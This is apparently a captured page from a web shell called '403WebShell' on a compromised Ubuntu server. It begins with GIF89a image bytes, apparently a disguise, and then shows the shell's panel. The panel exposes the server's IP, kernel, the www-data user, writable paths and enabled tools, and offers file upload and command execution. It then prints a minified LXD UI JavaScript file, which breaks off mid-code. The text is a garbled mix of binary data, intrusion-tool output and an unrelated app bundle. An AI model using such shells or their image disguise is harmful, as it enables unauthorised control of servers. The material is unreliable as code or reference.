GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 143.110.188.43  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.57 (Ubuntu)
System : Linux Client-Droplet 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/lxd/current/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/current/share/lxd-ui/assets//ProfileDetail-Bo1zttMv.js
import{u as Q,z as q,d as t,K as J,J as V,s as W,c as k,r as N,j as e,e as _,f as M,h as z,R as v,a3 as u,o as le,a2 as X,t as Z,x as ce,L as ee,q as B,D as se,ac as me,aE as de,aI as ue,w as fe,aJ as pe,a8 as he,aQ as je}from"./index-C5moRkRM.js";import{u as xe,p as ge}from"./userKeys-DCvuKatN.js";import{y as Ne,c as Pe,d as Ce,o as be}from"./YamlSwitch-BMEQ02g-.js";import{D as ye,N as ve,G as Re,c as Fe,O as Se,R as Ie,d as De,I as Ee,M as we,B as ke,e as Te,h as Oe,a as Ue,f as $e}from"./NetworkDevicePanel-D9XqFCT2.js";import{b as te,k as Le,l as Ve,u as A,p as _e,f as Me,c as ze,r as Be,a as Ye}from"./devices-DziiOcJy.js";import{Y as U,P as qe,M as $,a as Ae,D as He,N as Ge,G as Ke,b as Qe,O as Je,R as We,S as Xe,c as Ze,d as es,B as ss,C as ie}from"./ProfileDetailsForm-D-C-k-rE.js";import{e as H}from"./FormMenuItem-C57SBRlg.js";import{F as ts}from"./FormFooterLayout-CeiFxYRr.js";import{Y as is}from"./NetworkDefaultACLSelector-CRhN8t5d.js";import{F as os}from"./FormSubmitBtn-B_GaKHDH.js";import{P as Y}from"./ProfileRichChip-DiaW3-Ut.js";import{k as G,l as L}from"./instanceAndProfilePayloads-OWzzIEo8.js";import{u as as,p as K}from"./useEscCallback-CiLQokzn.js";import{P as rs}from"./ProfileInstances-KyhMm_kk.js";import{I as ns}from"./ItemName-Dt16GXN3.js";import{g as ls}from"./usedBy-DXaW3nP7.js";import{N as cs,D as ms,U as ds}from"./UserKeyListTable-B4CVXP6I.js";import{R as oe}from"./ResourceLink-CSSa-WON.js";import{R as us}from"./RenameHeader-B0XWLDzt.js";import{R as fs}from"./ResourceLabel-5vQU6ndJ.js";import{u as ps}from"./projects-BYXh-TO0.js";import{T as hs}from"./TabLinks-Bgi9Prma.js";import"./PlacementGroupExplanationTooltip-CDsyUuy1.js";import"./ExplanationTooltip-AfbgOckm.js";import"./AutoExpandingTextArea-BtMcH1Et.js";import"./scroll-BSkJfxH1.js";import"./options-DGWNjuoa.js";import"./ConfigurationTable-CbP4ksvx.js";import"./ConfigFieldDescription-qFQi1Efr.js";import"./storageVolume-D_kSLHXQ.js";import"./useStoragePools-Crzn42fh.js";import"./useClusterMembers-DYP3yC8I.js";import"./cluster-members-B9SkLa7e.js";import"./useConfigOptions-BxC1oiVQ.js";import"./ScrollableConfigurationTable-Co066DBV.js";import"./StorageVolumeForm-CGooyDb1.js";import"./DiskSizeSelector-T95OK-_Q.js";import"./StoragePoolSelector-B2DFQOGf.js";import"./StoragePoolSize-BVlyAxMa.js";import"./Meter-BW_a3lG4.js";import"./ScrollableForm-B4FKGNcE.js";import"./ProjectRichChip-CJO1yxV_.js";import"./RichTooltipTable-D64CU4ks.js";import"./StoragePoolExplanationTooltip-CY366rOX.js";import"./ClusterMemberExplanationTooltip-DgqwBVWT.js";import"./snapshots-DbU7kFr9.js";import"./useResources-5hLrDJjf.js";import"./formChangeCount-DmPjPAAr.js";import"./StoragePoolRichChip-DkAfThM9.js";import"./useVolumes-B6TAUFFs.js";import"./images-CQST2R8G.js";import"./storage-volumes-tZVWU3jH.js";import"./index-BCn5QfZZ.js";import"./promises-DrIa_NWl.js";import"./BackLink-CIO3yW-G.js";import"./CustomIsoExplanationTooltip-D4c8NHJP.js";import"./ProgressBar-DkFjDALx.js";import"./useNetworks-CeA2QAgG.js";import"./ExpandableList-Z2D161-q.js";import"./NetworkRichChip-C-nl3r3p.js";import"./TruncatedList-BLaVrNb3.js";import"./NetworkSelector-C5MLjtvJ.js";import"./useNetworkAcls-B32adf6l.js";import"./network-acls-1vYkJB4_.js";import"./ProfileResourceLimits-l412cqLM.js";import"./resourceDetails-XsDjMA3V.js";import"./storageBucket-Dt08U0oy.js";import"./useLoadBalancerPools-BRWEPQwP.js";import"./LoadBalancerPoolInstanceStatus-CboreM5J.js";import"./Breadcrumb-CpbG2SRs.js";const T=()=>{const{isFineGrained:s}=Q();return{canDeleteProfile:r=>q(s,"can_delete",r?.access_entitlements),canEditProfile:r=>q(s,"can_edit",r?.access_entitlements)}},js=({profile:s})=>{const l=t.useNotify(),m=J(),r=t.useToastNotification(),{project:c,section:a}=V(),g=W(),j=k(),[x,p]=N.useState(0),{canEditProfile:P}=T(),h=as();if(!c)return e.jsx(e.Fragment,{children:"Missing project"});const C=()=>{X("form-contents","p-bottom-controls")};N.useEffect(C,[l.notification?.message,a]),t.useListener(window,C,"resize",!0);const F=_().shape({name:M().required("Name is required"),user_keys:xe}),R=P(s)?void 0:"You do not have permission to edit this profile",w=d=>{r.success(e.jsxs(e.Fragment,{children:["Profile"," ",e.jsx(Y,{profileName:s.name,projectName:c})," ","updated."]})),n.resetForm({values:L(d)})},S=d=>{l.failure("Profile update failed",d)},O=()=>{n.setSubmitting(!1),g.invalidateQueries({queryKey:[Z.profiles]})},n=z({initialValues:L(s,R),validationSchema:F,enableReinitialize:!0,onSubmit:d=>{const i=d.yaml?Ne(d.yaml):G(s,d);i.etag=s.etag,te(i,c).then(f=>{m.set(f.metadata.id,()=>{w(i)},y=>{S(new Error(y))},O)}).catch(f=>{S(f),n.setSubmitting(!1)})}}),o=`${v}/ui/project/${encodeURIComponent(c)}/profile/${encodeURIComponent(s.name)}/configuration`,b=d=>{j(d===$?o:`${o}/${u(d)}`)},I=()=>{const d=new Set(["access_entitlements","used_by","etag"]),i=G(s,n.values),f=Object.fromEntries(Object.entries(i).filter(y=>!d.has(y[0])));return be(f)},D=n.values.readOnly;return e.jsxs("div",{className:"edit-profile",children:[e.jsxs(t.Form,{onSubmit:n.handleSubmit,className:"form",children:[a!==u(U)&&e.jsx(qe,{active:a??u($),setActive:b,isDisabled:!1,formik:n}),e.jsx(t.Row,{className:"form-contents",children:e.jsxs(t.Col,{size:12,children:[!h.panel&&e.jsx(le,{}),(a===u($)||!a)&&e.jsx(Ae,{formik:n,isEdit:!0,project:c}),a===u(He)&&e.jsx(ye,{formik:n,project:c}),a===u(Ge)&&e.jsx(ve,{formik:n,project:c}),a===u(Ke)&&e.jsx(Re,{formik:n,project:c}),a===u(Qe)&&e.jsx(Fe,{formik:n,project:c}),a===u(Je)&&e.jsx(Se,{formik:n,project:c}),a===u(We)&&e.jsx(Ie,{formik:n}),a===u(Xe)&&e.jsx(De,{formik:n,setSection:b}),a===u(Ze)&&e.jsx(Ee,{formik:n}),a===u(es)&&e.jsx(we,{formik:n}),a===u(ss)&&e.jsx(ke,{formik:n}),a===u(ie)&&e.jsx(Te,{formik:n,project:c},`yaml-form-${x}`),a===u(U)&&e.jsx(Pe,{yaml:I(),setYaml:d=>{H(n),n.setFieldValue("yaml",d)},readOnly:!!n.values.editRestriction,readOnlyMessage:n.values.editRestriction,children:e.jsx(is,{entity:"profile",docPath:"/profiles"})},`yaml-form-${x}`)]})},a)]}),e.jsxs(ts,{children:[e.jsx(Ce,{formik:n,section:a,setSection:b}),D?null:e.jsxs(e.Fragment,{children:[e.jsx(t.Button,{appearance:"base",onClick:()=>{p(d=>d+1),n.resetForm({values:L(s)})},children:"Cancel"}),e.jsx(os,{formik:n,baseUrl:o,isYaml:a===u(U),disabled:Oe(n)||Ue(n)})]})]}),(h.panel===K.editNetworkDevice||h.panel===K.createNetworkDevice)&&e.jsx($e,{project:c,formik:n,onSave:()=>{H(n)}})]})},xs=({profile:s})=>{const l=ce(),m=t.useNotify(),{project:r}=V();if(!r)return e.jsx(e.Fragment,{children:"Missing project"});const c=(x,p)=>{m.failure(x,p)},a=()=>{X("profile-overview-tab")};N.useEffect(a,[]),t.useListener(window,a,"resize",!0);const j=ls(r,r==="default",s.used_by).length;return e.jsxs("div",{className:"profile-overview-tab",children:[e.jsxs(t.Row,{className:"section",children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"General"})}),e.jsx(t.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Name"}),e.jsx("td",{children:e.jsx(ns,{item:s})})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Description"}),e.jsx("td",{children:s.description?s.description:"-"})]}),l&&e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Placement group"}),e.jsx("td",{children:s.config["placement.group"]?e.jsx(oe,{type:"placement-group",value:s.config["placement.group"],to:`${v}/ui/project/${r}/placement-groups`}):"-"})]})]})})})]}),e.jsxs(t.Row,{className:"networks",children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Networks"})}),e.jsx(t.Col,{size:7,children:e.jsx(cs,{devices:s.devices,onFailure:c})})]}),e.jsxs(t.Row,{className:"devices",children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Devices"})}),e.jsx(t.Col,{size:7,children:e.jsx(ms,{configBaseURL:`${v}/ui/project/${encodeURIComponent(r)}/profile/${encodeURIComponent(s.name)}/configuration`,devices:s.devices})})]}),e.jsxs(t.Row,{className:"section",children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Resource limits"})}),e.jsx(t.Col,{size:7,children:e.jsx("table",{children:e.jsxs("tbody",{children:[e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"CPU"}),e.jsx("td",{children:s.config["limits.cpu"]||"-"})]}),e.jsxs("tr",{children:[e.jsx("th",{className:"u-text--muted",children:"Memory"}),e.jsx("td",{children:s.config["limits.memory"]||"-"})]})]})})})]}),e.jsxs(t.Row,{className:B("section",{"u-hide":!Le(s)}),children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"Cloud init"})}),e.jsx(t.Col,{size:7,className:"view-config",children:e.jsx(ee,{to:`${v}/ui/project/${encodeURIComponent(r)}/profile/${encodeURIComponent(s.name)}/configuration/${u(ie)}`,children:"View configuration"})})]}),e.jsxs(t.Row,{className:"user-keys",children:[e.jsx(t.Col,{size:3,children:e.jsx("h2",{className:"p-heading--5",children:"User keys"})}),e.jsx(t.Col,{size:7,children:e.jsx(ds,{userKeys:ge(s)})})]}),e.jsxs(t.Row,{className:"usage list-wrapper",children:[e.jsx(t.Col,{size:3,children:e.jsxs("h2",{className:"p-heading--5",children:["Used by (",j,")"]})}),e.jsx(t.Col,{size:7,children:j>0?e.jsx("table",{children:e.jsx("tbody",{children:e.jsx(rs,{profile:s,project:r,headingClassName:"u-text--muted"})})}):e.jsx(e.Fragment,{children:"-"})})]})]})},gs=({profile:s,project:l,className:m,onClose:r})=>{const c=t.useNotify(),a=t.useToastNotification(),g=W(),[j,x]=N.useState(!1),p=k(),{canDeleteProfile:P}=T(),h=()=>{x(!0),Ve(s.name,l).then(()=>{g.invalidateQueries({queryKey:[Z.projects,l]}),p(`${v}/ui/project/${encodeURIComponent(l)}/profiles`),a.success(e.jsxs(e.Fragment,{children:["Profile ",e.jsx(fs,{bold:!0,type:"profile",value:s.name})," ","deleted."]}))}).catch(R=>{x(!1),c.failure("Profile deletion failed",R)})},C=s.name==="default",F=()=>P(s)?C?"The default profile cannot be deleted":"Delete profile":"You do not have permission to delete this profile";return e.jsxs(t.ConfirmationButton,{onHoverText:F(),className:B("u-no-margin--bottom has-icon",m),disabled:!P(s)||C||j,loading:j,confirmationModalProps:{close:r,title:"Confirm delete",confirmButtonLabel:"Delete",onConfirm:h,children:e.jsxs("p",{children:["This will permanently delete profile"," ",e.jsx(Y,{profileName:s.name,projectName:l}),".",e.jsx("br",{}),"This action cannot be undone, and can result in data loss."]})},shiftClickEnabled:!0,showShiftClickHint:!0,children:[e.jsx(se,{icon:"delete"}),e.jsx("span",{children:"Delete"})]})},Ns=({profile:s,close:l})=>{const m=t.useToastNotification(),r=s.project??"default",c=k(),a=N.useState(null),{data:g=[]}=A(r),{isFineGrained:j}=Q(),{data:x=[],isLoading:p}=me(),{canCreateProfiles:P}=ps(),{canEditProfile:h}=T(),C=J(),[F,R]=N.useState(null),w=(i,f,y)=>{const E=`${v}/ui/project/${encodeURIComponent(f)}/profile/${encodeURIComponent(i)}`,ae=y?"Refreshed":"Created",re=e.jsxs(e.Fragment,{children:[ae," profile"," ",e.jsx(oe,{type:"profile",value:i,to:E}),"."]}),ne=[{label:"Configure",onClick:async()=>c(`${E}/configuration`)}];m.success(re,ne),l(),c(E)},S=(i,f)=>{const y=de(i,"-copy");return ue(y,f)},O=async i=>{const f=await Me(i.profileName,i.targetProject,j);return te({...f,description:s.description,config:s.config,devices:s.devices},i.targetProject).then(y=>{C.set(y.metadata.id,()=>{w(i.profileName,i.targetProject,!0)},E=>{R(t.failure("Profile refresh failed.",new Error(E))),o.setSubmitting(!1)})})},n=i=>{ze(JSON.stringify({name:i.profileName,description:s.description,config:s.config,devices:s.devices}),i.targetProject).then(()=>{w(i.profileName,i.targetProject,!1)}).catch(f=>{R(t.failure("Profile copy failed.",f)),o.setSubmitting(!1)})},o=z({initialValues:{profileName:S(s.name,g),isProfileNameCustom:!1,targetProject:P(x.find(i=>i.name===r))?r:"",isRefresh:!1},enableReinitialize:!0,validationSchema:_().shape({targetProject:M().required("This field is required"),profileName:_e(s.project??"default",a).required()}),onSubmit:i=>{i.isRefresh?O(i).catch(f=>{R(t.failure("Profile refresh failed.",f)),o.setSubmitting(!1)}):n(i)}}),{data:b=[],isLoading:I}=A(o.values.targetProject);N.useEffect(()=>{if(o.values.isProfileNameCustom||o.values.isRefresh)return;const i=S(s.name,b);i!==o.values.profileName&&o.setFieldValue("profileName",i,!0)},[I,o.values,b]);const D=b.filter(h).filter(i=>s.name!==i.name||r!==o.values.targetProject),d=N.useMemo(()=>x.filter(i=>o.values.isRefresh?!0:P(i)).map(i=>({label:i.name,value:i.name})),[x,o.values]);return e.jsx(t.Modal,{close:l,className:"copy-instances-modal",title:"Copy or refresh profile",buttonRow:e.jsxs(e.Fragment,{children:[e.jsx(t.Button,{appearance:"base",className:"u-no-margin--bottom",type:"button",onClick:l,children:"Cancel"}),e.jsx(t.ActionButton,{appearance:"positive",className:"u-no-margin--bottom",loading:o.isSubmitting,disabled:!o.isValid||o.isSubmitting||p||I,onClick:()=>{o.submitForm()},children:o.values.isRefresh?"Refresh profile":"Copy profile"})]}),children:e.jsxs(t.Form,{onSubmit:o.handleSubmit,children:[F&&e.jsx(t.Notification,{title:F.title,severity:"negative",onDismiss:()=>{R(null)},children:F.message}),e.jsx("div",{className:"u-sv1",children:e.jsx(t.RadioInput,{label:"Copy this profile",checked:!o.values.isRefresh,onChange:()=>{o.setFieldValue("isRefresh",!1,!1),o.setFieldValue("isProfileNameCustom",!1,!1);const i=S(s.name,b);o.setFieldValue("profileName",i,!0)}})}),e.jsx("div",{className:"u-sv3",children:e.jsx(t.RadioInput,{label:"Refresh another profile with the contents of this profile",checked:o.values.isRefresh,onChange:()=>{o.setFieldValue("isRefresh",!0,!1),o.setFieldValue("isProfileNameCustom",!1,!1),o.setFieldValue("profileName","",!0)}})}),e.jsx(t.Select,{...o.getFieldProps("targetProject"),id:"targetProject",label:"Target project",disabled:p,options:[{label:"Select a project",value:"",disabled:!0},...d],onChange:i=>{if(o.setFieldValue("targetProject",i.target.value,!1),o.setFieldValue("isProfileNameCustom",!1,!1),o.values.isRefresh)o.setFieldValue("profileName","",!0);else{const f=S(s.name,b);o.setFieldValue("profileName",f,!0)}}}),o.values.isRefresh?e.jsx(t.Select,{...o.getFieldProps("profileName"),id:"profileName",label:"Profile to refresh",options:[{label:D.length>0?"Select profile":"No profile available",value:"",disabled:!0},...D.map(i=>({label:i.name,value:i.name}))],disabled:D.length===0||p||I}):e.jsx(t.Input,{...o.getFieldProps("profileName"),type:"text",label:"New profile name",onChange:i=>{o.setFieldValue("profileName",i.target.value,!1),o.setFieldValue("isProfileNameCustom",!0,!0)},error:o.touched.profileName?o.errors.profileName:void 0}),e.jsx(t.Input,{type:"submit",hidden:!0,value:"Hidden input"})]})})},Ps=({profile:s,className:l,onClose:m})=>{const{openPortal:r,closePortal:c,isOpen:a,Portal:g}=t.usePortal(),j=()=>{c(),m?.()};return e.jsxs(e.Fragment,{children:[a&&e.jsx(g,{children:e.jsx(Ns,{close:j,profile:s})}),e.jsxs(t.Button,{appearance:"default","aria-label":"Copy profile",className:B("u-no-margin--bottom has-icon",l),onClick:r,title:"Copy profile",children:[e.jsx(se,{icon:"canvas"}),e.jsx("span",{children:"Copy"})]})]})},Cs=({profile:s,project:l})=>{const m=fe(pe),r=m?"p-contextual-menu__link":"p-segmented-control__button",c=[e.jsx(Ps,{profile:s,className:r},"copy"),e.jsx(gs,{profile:s,project:l,className:r},"delete")];return e.jsx(e.Fragment,{children:m?e.jsx(t.ContextualMenu,{closeOnOutsideClick:!1,toggleLabel:"Actions",position:"left",hasToggleIcon:!0,title:"actions",children:a=>e.jsx("span",{children:[...c].map(g=>N.cloneElement(g,{onClose:a}))})}):e.jsx("div",{className:"p-segmented-control",children:e.jsx("div",{className:"p-segmented-control__list",children:c})})})},bs=({name:s,profile:l,project:m})=>{const r=k(),c=t.useNotify(),a=t.useToastNotification(),g=N.useState(null),{canEditProfile:j}=T(),x=_().shape({name:M().test("deduplicate","A profile with this name already exists",async h=>l?.name===h||he(h,m,g,"profiles")).required("Profile name is required")}),p=z({initialValues:{name:s,isRenaming:!1},validationSchema:x,onSubmit:h=>{if(s===h.name){p.setFieldValue("isRenaming",!1),p.setSubmitting(!1);return}Be(s,h.name,m).then(()=>{r(`${v}/ui/project/${encodeURIComponent(m)}/profile/${encodeURIComponent(h.name)}`),a.success(e.jsxs(e.Fragment,{children:["Profile ",e.jsx("strong",{children:s})," renamed to"," ",e.jsx(Y,{profileName:h.name,projectName:m}),"."]})),p.setFieldValue("isRenaming",!1)}).catch(C=>{c.failure("Renaming failed",C)}).finally(()=>{p.setSubmitting(!1)})}}),P=()=>{if(!j(l))return"You do not have permission to rename this profile";if(l&&l.name==="default")return"Cannot rename the default profile"};return 